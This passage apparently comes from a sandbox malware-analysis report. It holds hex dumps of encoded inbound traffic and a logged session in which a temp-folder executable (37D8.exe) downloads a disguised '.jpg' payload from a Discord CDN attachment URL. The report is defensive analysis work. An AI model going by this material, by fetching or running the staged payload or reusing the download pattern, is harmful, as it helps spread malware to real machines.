20 4f 20 71 71 4f 20 4f 20 6d 45 20 
Data Ascii:  O qOJ O qOJ O DE O ED O qOJ O Xq O qJO O XX O mE O Wq O XX O WD O qOW O WD O qqD O qqp O 
DD O qqX O WE O Xq O EX O Ep O WO O EO O qqp O XO O WW O mE O mE O mM O DX O mE O qOO O qOq O Xm 
O qqq O EW O Xm O XW O DW O DW O Ep O qqW O EJ O XE O XD O qqO O mE 

2021-10-29 15:55:26 UTC 756 IN Data Raw: 4f 20 6d 58 20 4f 20 71 71 71 20 4f 20 6d 45 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 
4f 20 45 4a 20 4f 20 58 71 20 4f 20 58 4f 20 4f 20 4d 45 20 4f 20 45 4d 20 4f 20 71 4f 44 20 4f 20 58 70 20 4f 20 58 71 20 
4f 20 44 57 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 45 44 20 4f 20 71 71 
4d 20 4f 20 6d 70 20 4f 20 71 4f 57 20 4f 20 45 6d 20 4f 20 57 44 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 
4d 45 20 4f 20 71 4f 70 20 4f 20 71 4f 6d 20 4f 20 4d 4f 20 4f 20 71 71 58 20 4f 20 71 71 58 20 4f 20 71 4a 4a 20 4f 20 58 
70 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 4f 4a 20 4f 20 71 4f 4f 20 4f 20 71 4a 4a 20 4f 
20 71 4a 4a 20 4f 20 71 71 4a 20 4f 20 
Data Ascii: O mX O qqq O mE O qOE O DW O DW O DW O EJ O Xq O XO O ME O EM O qOD O Xp O Xq O DW O DX 
O mE O qOO O Xq O qOW O ED O qqM O mp O qOW O Em O WD O qOJ O mE O mE O ME O qOp O qOm O MO O 
qqX O qqX O qJJ O Xp O Xq O DW O DE O EX O qOJ O qOO O qJJ O qJJ O qqJ O 

2021-10-29 15:55:26 UTC 772 IN Data Raw: 70 20 4f 20 58 4f 20 4f 20 45 70 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 4f 70 20 4f 20 71 4f 45 20 4f 20 71 4a
71 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 58 20 4f 20 57 4a 20 4f 20 71 71 58 20 4f 20 45 71 20 4f 20 58 
45 20 4f 20 57 44 20 4f 20 71 71 4f 20 4f 20 44 58 20 4f 20 58 44 20 4f 20 58 4d 20 4f 20 71 71 58 20 4f 20 71 71 57 20 4f 
20 71 71 45 20 4f 20 44 45 20 4f 20 71 4f 70 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 71 
71 20 4f 20 4d 45 20 4f 20 44 45 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 71 71 44 20 4f 20 
45 4f 20 4f 20 44 58 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 
57 20 4f 20 58 57 20 4f 20 6d 4d 20 
Data Ascii: p O XO O Ep O mE O mp O qOp O qOE O qJq O mE O mE O mE O XX O WJ O qqX O Eq O XE O WD O 
qqO O DX O XD O XM O qqX O qqW O qqE O DE O qOp O qOM O DW O DW O DX O qqq O ME O DE O qqq O DW O 
DW O Ep O qqD O EO O DX O DE O mX O Xq O DW O Xq O DW O DW O XW O mM 

Timestamp
kBytes
transferred Direction Data

Copyright Joe Security LLC 2021 Page 76 of 141



2021-10-29 15:55:26 UTC 788 IN Data Raw: 4f 45 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 71 71 
44 20 4f 20 44 4d 20 4f 20 45 6d 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 45 6d 20 4f 20 71 4f 6d 20 4f 20 44 45 20 4f 20 
58 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 44 20 4f 20 58 57 20 4f 
20 58 71 20 4f 20 71 4f 45 20 4f 20 45 57 20 4f 20 45 4f 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f
20 71 4a 4a 20 4f 20 71 71 71 20 4f 20 57 45 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 
4f 20 58 58 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 57 4a 20 4f 20 58 6d 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 
20 44 57 20 4f 20 44 57 20 4f 20 58 
Data Ascii: OE O XO O DW O Ep O DW O DW O Ep O qqD O DM O Em O DD O qJq O Em O qOm O DE O XJ O DW O 
DW O qOp O DW O DW O qOD O XW O Xq O qOE O EW O EO O DX O mE O qOO O Xq O qJJ O qqq O WE O Xq O 
DW O DW O DW O Ep O XX O DW O DX O WJ O Xm O XM O DW O DW O DW O DW O X

2021-10-29 15:55:26 UTC 804 IN Data Raw: 4f 20 45 4f 20 4f 20 44 58 20 4f 20 71 71 71 20 4f 20 57 4f 20 4f 20 71 4f 6d 20 4f 20 58 71 20 4f 20 44 57 20 4f 
20 44 57 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 44 4d 20 4f 20 44 58 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 
45 4f 20 4f 20 45 70 20 4f 20 57 4f 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 6d 45 
20 4f 20 57 4f 20 4f 20 71 71 71 20 4f 20 45 57 20 4f 20 58 57 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 44 4d 
20 4f 20 45 4d 20 4f 20 71 4f 6d 20 4f 20 4d 58 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 7
0 20 4f 20 57 44 20 4f 20 58 71 20 4f 20 45 45 20 4f 20 58 57 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 44 58 
20 4f 20 58 4f 20 4f 20 57 45 20 
Data Ascii: O EO O DX O qqq O WO O qOm O Xq O DW O DW O Ep O XO O DM O DX O XO O WE O mM O EO O Ep 
O WO O EO O DW O XO O WW O mE O mE O WO O qqq O EW O XW O XO O WE O mM O DM O EM O qOm O MX O 
EO O Xq O DW O DW O qOp O WD O Xq O EE O XW O XO O WE O mM O DX O XO O WE 

2021-10-29 15:55:26 UTC 820 IN Data Raw: 20 4f 20 57 4f 20 4f 20 45 4f 20 4f 20 57 70 20 4f 20 58 4f 20 4f 20 71 71 6d 20 4f 20 6d 70 20 4f 20 6d 45 20 4f 
20 6d 4d 20 4f 20 45 58 20 4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 4d 4f 20 4f 20 57 71 20 4f 20 71 4f 70 20 4f 20 6d 70 20 
4f 20 71 71 58 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 45 6d 20 4f 20 6d 58 20 4f 20 45 44 20 4f 20 44 57 20 
4f 20 44 57 20 4f 20 44 45 20 4f 20 44 58 20 4f 20 71 4a 4f 20 4f 20 44 57 20 4f 20 71 4a 4f 20 4f 20 58 6d 20 4f 20 58 44 
20 4f 20 57 4a 20 4f 20 57 4f 20 4f 20 45 4f 20 4f 20 57 4a 20 4f 20 58 4f 20 4f 20 71 71 6d 20 4f 20 6d 70 20 4f 20 6d 45 
20 4f 20 6d 4d 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 58 4a 20 4f 20 58 6d 20 4f 20 6d 45 20 4f 20 71 4f 4f
20 4f 20 58 71 20 4f 20 71 4a 4a 
Data Ascii:  O WO O EO O Wp O XO O qqm O mp O mE O mM O EX O Xq O qOW O MO O Wq O qOp O mp O qqX O 
WW O mE O Wm O Em O mX O ED O DW O DW O DE O DX O qJO O DW O qJO O Xm O XD O WJ O WO O EO O WJ 
O XO O qqm O mp O mE O mM O DX O mE O qOO O XJ O Xm O mE O qOO O Xq O qJJ

2021-10-29 15:55:26 UTC 836 IN Data Raw: 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 58 44 20 4f 
20 57 4a 20 4f 20 45 45 20 4f 20 58 45 20 4f 20 58 44 20 4f 20 71 4f 58 20 4f 20 6d 58 20 4f 20 44 58 20 4f 20 58 45 20 4f 
20 71 4f 6d 20 4f 20 6d 58 20 4f 20 57 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 6d 70 20 4f 
20 71 4f 6d 20 4f 20 45 4d 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 45 20 4f 20 58 44 20 
4f 20 71 4f 45 20 4f 20 57 70 20 4f 20 58 58 20 4f 20 71 4f 4a 20 4f 20 71 4a 4f 20 4f 20 6d 58 20 4f 20 44 58 20 4f 20 58 
45 20 4f 20 71 4f 57 20 4f 20 58 71 20 4f 20 6d 58 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 6d 
70 20 4f 20 71 4f 70 20 4f 20 57 44 
Data Ascii: O qOp O DW O qOp O DW O DW O EM O XD O WJ O EE O XE O XD O qOX O mX O DX O XE O qOm O 
mX O Wq O DM O DW O DW O XD O mp O qOm O EM O DW O qOp O DW O DW O XE O XD O qOE O Wp O XX O 
qOJ O qJO O mX O DX O XE O qOW O Xq O mX O XW O DW O DW O XD O mp O qOp O WD

2021-10-29 15:55:26 UTC 852 IN Data Raw: 44 57 20 4f 20 44 57 20 4f 20 58 70 20 4f 20 45 4d 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 
20 4f 20 57 57 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 57 70 20 4f 20 71 
4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 4a 20 4f 20 45 4d 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 
45 70 20 4f 20 57 57 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 4f 4d 20 4f 20 57 70 20 4f 
20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 45 20 4f 20 71 71 45 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 44 57 
20 4f 20 45 45 20 4f 20 71 71 6d 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 4d 4d 20 4f 20 57 
70 20 4f 20 71 4f 70 20 4f 20 44 57 20 
Data Ascii: DW O DW O Xp O EM O XM O DW O DW O EO O WW O qOM O DW O DW O DD O qqW O Wp O qOp O 
DW O DW O qOJ O EM O XM O DW O DW O Ep O WW O qOM O DW O DW O DE O qOM O Wp O qOp O DW O DW O 
qqE O qqE O XM O DW O DW O EE O qqm O qOM O DW O DW O DX O MM O Wp O qOp O DW 

2021-10-29 15:55:26 UTC 868 IN Data Raw: 57 20 4f 20 44 4d 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 4d 20 
4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 70 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 44 44 20 4f 
20 44 57 20 4f 20 45 4f 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 58 70 20 4f 20 
44 57 20 4f 20 44 4d 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 
57 20 4f 20 45 4f 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 58 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 44 
57 20 4f 20 44 4d 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 58 6d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 
20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 
Data Ascii: W O DM O MM O DW O Xp O DW O DD O DM O DW O EO O DW O DW O Xp O Xq O DD O DD O DW O EO 
O MM O DW O Xq O Xq O DD O Xp O DW O DM O XW O DW O DW O DW O DW O DW O DW O EO O WD O DW O 
XX O qqM O DD O DX O DW O DM O WD O DW O Xm O Xq O DD O Xq O DW O DM O DM O 

2021-10-29 15:55:26 UTC 884 IN Data Raw: 57 20 4f 20 44 44 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 70 20 
4f 20 44 57 20 4f 20 44 44 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 58 6d 20 4f 
20 58 71 20 4f 20 44 44 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 
71 71 4d 20 4f 20 44 57 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 45 70 20 4f 
20 44 57 20 4f 20 44 44 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 
20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 44 
20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 
Data Ascii: W O DD O XW O DW O DM O Xq O DW O Ep O DW O DD O Ep O DW O EO O Xq O DW O Xm O Xq O DD 
O EE O DW O DE O DW O DW O EE O qqM O DW O qqE O DW O DX O Ep O DW O Ep O DW O DD O Eq O DW O Eq 
O qOE O DW O MX O qOp O DD O qOm O DW O Eq O qqM O DW O ED O qqM O DW O

2021-10-29 15:55:26 UTC 900 IN Data Raw: 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 
71 4d 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 
20 45 70 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 71 20 
4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 45 71 20 
4f 20 57 4a 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 4f 
20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 
71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 
Data Ascii:  DW O DW O DW O DW O DW O DW O EO O qqM O DW O XD O qOp O DD O qOm O DW O EJ O Ep O 
DW O XJ O qOp O DD O qqJ O DW O Eq O qqM O DW O MO O Xq O DD O Em O DW O Eq O WJ O DW O MO O qOp 
O DD O qqX O DW O EO O qqM O DW O XD O DW O DD O qJq O DW O Eq O DM O DW O

Timestamp
kBytes
transferred Direction Data
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2021-10-29 15:55:26 UTC 916 IN Data Raw: 44 20 4f 20 71 4a 4a 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 45 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 71 
4f 58 20 4f 20 45 6d 20 4f 20 71 4f 58 20 4f 20 58 4d 20 4f 20 58 45 20 4f 20 58 4a 20 4f 20 58 71 20 4f 20 4d 4d 20 4f 20 
71 4f 4d 20 4f 20 57 45 20 4f 20 71 4f 44 20 4f 20 4d 4f 20 4f 20 58 58 20 4f 20 45 58 20 4f 20 71 4a 4a 20 4f 20 58 6d 20 
4f 20 58 45 20 4f 20 58 44 20 4f 20 71 71 44 20 4f 20 4d 58 20 4f 20 57 71 20 4f 20 45 6d 20 4f 20 57 70 20 4f 20 44 57 20 
4f 20 45 57 20 4f 20 44 4d 20 4f 20 44 44 20 4f 20 58 4a 20 4f 20 57 4f 20 4f 20 58 44 20 4f 20 6d 58 20 4f 20 58 57 20 4f 
20 45 4a 20 4f 20 45 6d 20 4f 20 71 71 58 20 4f 20 58 4d 20 4f 20 57 4f 20 4f 20 58 44 20 4f 20 71 4a 4a 20 4f 20 4d 4d 20 
4f 20 6d 58 20 4f 20 45 4f 20 4f 20 71 
Data Ascii: D O qJJ O MM O qqM O DE O WJ O DW O qOX O Em O qOX O XM O XE O XJ O Xq O MM O qOM O WE 
O qOD O MO O XX O EX O qJJ O Xm O XE O XD O qqD O MX O Wq O Em O Wp O DW O EW O DM O DD O XJ O 
WO O XD O mX O XW O EJ O Em O qqX O XM O WO O XD O qJJ O MM O mX O EO O q

2021-10-29 15:55:26 UTC 932 IN Data Raw: 71 20 4f 20 58 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 58 4a 
20 4f 20 45 4a 20 4f 20 45 6d 20 4f 20 71 4f 6d 20 4f 20 4d 4f 20 4f 20 6d 4d 20 4f 20 45 4f 20 4f 20 6d 4d 20 4f 20 4d 4f 20
4f 20 58 58 20 4f 20 45 6d 20 4f 20 57 70 20 4f 20 58 4a 20 4f 20 71 4f 4d 20 4f 20 71 4f 58 20 4f 20 71 71 57 20 4f 20 4d 
4f 20 4f 20 58 44 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 44 44 20 4f 20 58 
57 20 4f 20 57 4f 20 4f 20 71 4f 6d 20 4f 20 71 4f 58 20 4f 20 4d 58 20 4f 20 45 71 20 4f 20 71 4a 4f 20 4f 20 45 4f 20 4f 20 
71 4f 71 20 4f 20 45 71 20 4f 20 58 44 20 4f 20 71 4f 44 20 4f 20 71 4f 4f 20 4f 20 58 58 20 4f 20 58 4a 20 4f 20 71 4f 58 20
4f 20 58 4a 20 4f 20 58 58 20 
Data Ascii: q O XD O qJJ O DW O DE O EE O DW O XJ O EJ O Em O qOm O MO O mM O EO O mM O MO O XX O 
Em O Wp O XJ O qOM O qOX O qqW O MO O XD O MM O DW O DW O DW O qqq O DD O XW O WO O qOm O qOX 
O MX O Eq O qJO O EO O qOq O Eq O XD O qOD O qOO O XX O XJ O qOX O XJ O XX 

2021-10-29 15:55:26 UTC 948 IN Data Raw: 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 
4f 20 44 57 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 
20 44 57 20 4f 20 45 45 20 4f 20 71 4f 70 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 
20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 
44 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 
57 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 
20 4f 20 45 58 20 4f 20 71 4f 70 20 4f 
Data Ascii: W O DW O Xq O DW O DW O DW O DW O DW O DW O DW O DM O DW O DE O Xq O Xq O DW O DW O 
EE O qOp O Eq O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O Xq O 
DW O DW O DW O DW O DW O DW O DW O DM O DW O DE O Xq O Xq O DW O DW O EX O qOp O

2021-10-29 15:55:26 UTC 964 IN Data Raw: 4d 20 4f 20 58 44 20 4f 20 4d 4d 20 4f 20 57 57 20 4f 20 6d 70 20 4f 20 44 58 20 4f 20 58 4f 20 4f 20 57 57 20 
4f 20 6d 70 20 4f 20 44 58 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 71 4f 4d 20 
4f 20 71 71 57 20 4f 20 71 4a 71 20 4f 20 45 6d 20 4f 20 58 44 20 4f 20 4d 58 20 4f 20 58 44 20 4f 20 58 57 20 4f 20 45 57 
20 4f 20 45 6d 20 4f 20 58 57 20 4f 20 4d 58 20 4f 20 4d 4f 20 4f 20 71 71 70 20 4f 20 71 4f 58 20 4f 20 44 45 20 4f 20 57 
6d 20 4f 20 71 71 57 20 4f 20 71 4f 71 20 4f 20 58 71 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 71 71 70 20 4f 20 4d 4f 20 4f 
20 6d 45 20 4f 20 57 44 20 4f 20 58 45 20 4f 20 45 45 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 58 45 20 4f 20 45 45 20 4f 20 
71 4f 4a 20 4f 20 71 4f 45 20 4f 20 71 
Data Ascii: M O XD O MM O WW O mp O DX O XO O WW O mp O DX O XO O DW O Ep O DM O DW O qOM O qqW O 
qJq O Em O XD O MX O XD O XW O EW O Em O XW O MX O MO O qqp O qOX O DE O Wm O qqW O qOq O Xq O 
mE O WD O qqp O MO O mE O WD O XE O EE O mE O WD O XE O EE O qOJ O qOE O q

2021-10-29 15:55:26 UTC 980 IN Data Raw: 20 4f 20 71 71 6d 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 44 20 
4f 20 4d 58 20 4f 20 58 44 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 
20 45 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 
45 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 
70 20 4f 20 45 4a 20 4f 20 44 4d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 45 4a 20 4f 20 44 4d 20 4f 20 6d 45 20 4f 20 57 45 
20 4f 20 57 57 20 4f 20 44 57 20 4f 20 71 4f 4d 20 4f 20 58 45 20 4f 20 44 44 20 4f 20 58 45 20 4f 20 44 57 20 4f 20 44 57 
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 
Data Ascii:  O qqm O Wm O mE O mE O mE O mE O XD O MX O XD O XW O DW O Ep O DM O DW O DW O Ep O DM 
O DW O DW O Ep O DM O DW O DW O Ep O DM O DW O DW O Ep O DM O DW O mE O mp O EJ O DM O mE O mp 
O EJ O DM O mE O WE O WW O DW O qOM O XE O DD O XE O DW O DW O DW O DW O 

2021-10-29 15:55:26 UTC 996 IN Data Raw: 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 
57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 4a 20 4f 20 71 4f 
44 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 45 20 4f 20 71 4a 4f 20 4f 20 44 58 20 4f 20 44 44 20 4f 
20 58 4a 20 4f 20 71 4f 4f 20 4f 20 45 4a 20 4f 20 58 4f 20 4f 20 71 71 4d 20 4f 20 58 57 20 4f 20 71 4a 4a 20 4f 20 58 4a 
20 4f 20 58 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 4a 20 4f 20 58 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 
20 4f 20 44 4d 20 4f 20 71 71 44 20 4f 20 45 4a 20 4f 20 58 4f 20 4f 20 71 71 4d 20 4f 20 58 44 20 4f 20 45 45 20 4f 20 58 
4a 20 4f 20 71 4a 4a 20 4f 20 57 44 20 
Data Ascii:  DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DD O EJ O qOD O 
qOp O DW O DD O qOE O qJO O DX O DD O XJ O qOO O EJ O XO O qqM O XW O qJJ O XJ O XW O DW O Eq O XJ 
O XW O qOO O DW O DD O DM O qqD O EJ O XO O qqM O XD O EE O XJ O qJJ O WD 

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.6 49805 162.159.135.233 443 C:\Users\user\AppData\Local\Temp\37D8.exe

Timestamp
kBytes
transferred Direction Data

2021-10-29 15:55:26 UTC 1000 OUT GET /attachments/893177342426509335/903575519373697084/F83CB811.jpg HTTP/1.1
Host: cdn.discordapp.com
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2021-10-29 15:55:26 UTC 1001 IN HTTP/1.1 200 OK
Date: Fri, 29 Oct 2021 15:55:26 GMT
Content-Type: image/jpeg
Content-Length: 257637
Connection: close
CF-Ray: 6a5d96931b667028-FRA
Accept-Ranges: bytes
Age: 23286
Cache-Control: public, max-age=31536000
ETag: "3943342e1b45e890a729310467090869"
Expires: Sat, 29 Oct 2022 15:55:26 GMT
Last-Modified: Fri, 29 Oct 2021 09:26:31 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Cf-Bgj: h2pri
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1635499591484284
x-goog-hash: crc32c=wAW+lg==
x-goog-hash: md5=OUM0LhtF6JCnKTEEZwkIaQ==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 257637
X-GUploader-UploadID: ADPycdsh_0GH4h67GfM4DXv45AAKX5J9KadQOaoJgeenVA8XggFohgRrUig2qws-RHRU
WddueA29G7svcIC2IfMWyq3dEjwegQ
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PhQT7UjdzTb67fah8d8nhwj0FtIpYfJ1
WZRULFTG1Ks4%2BL%2BVk3y92rUoI9IJ%2B%2Bt7%2B8wdot%2FOpQRBZiFcZyH9LqIenrYKDaOFfTw%2Bp178zjIA
KwhwNd88YAQE2XKJ6Izp0q5Hwg%3D%3D"}],"group":"cf-nel","max_age":604800}

2021-10-29 15:55:26 UTC 1002 IN Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 
22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 
6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a 
Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

2021-10-29 15:55:26 UTC 1002 IN Data Raw: 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f
20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 
4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 
20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 
4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 
58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 
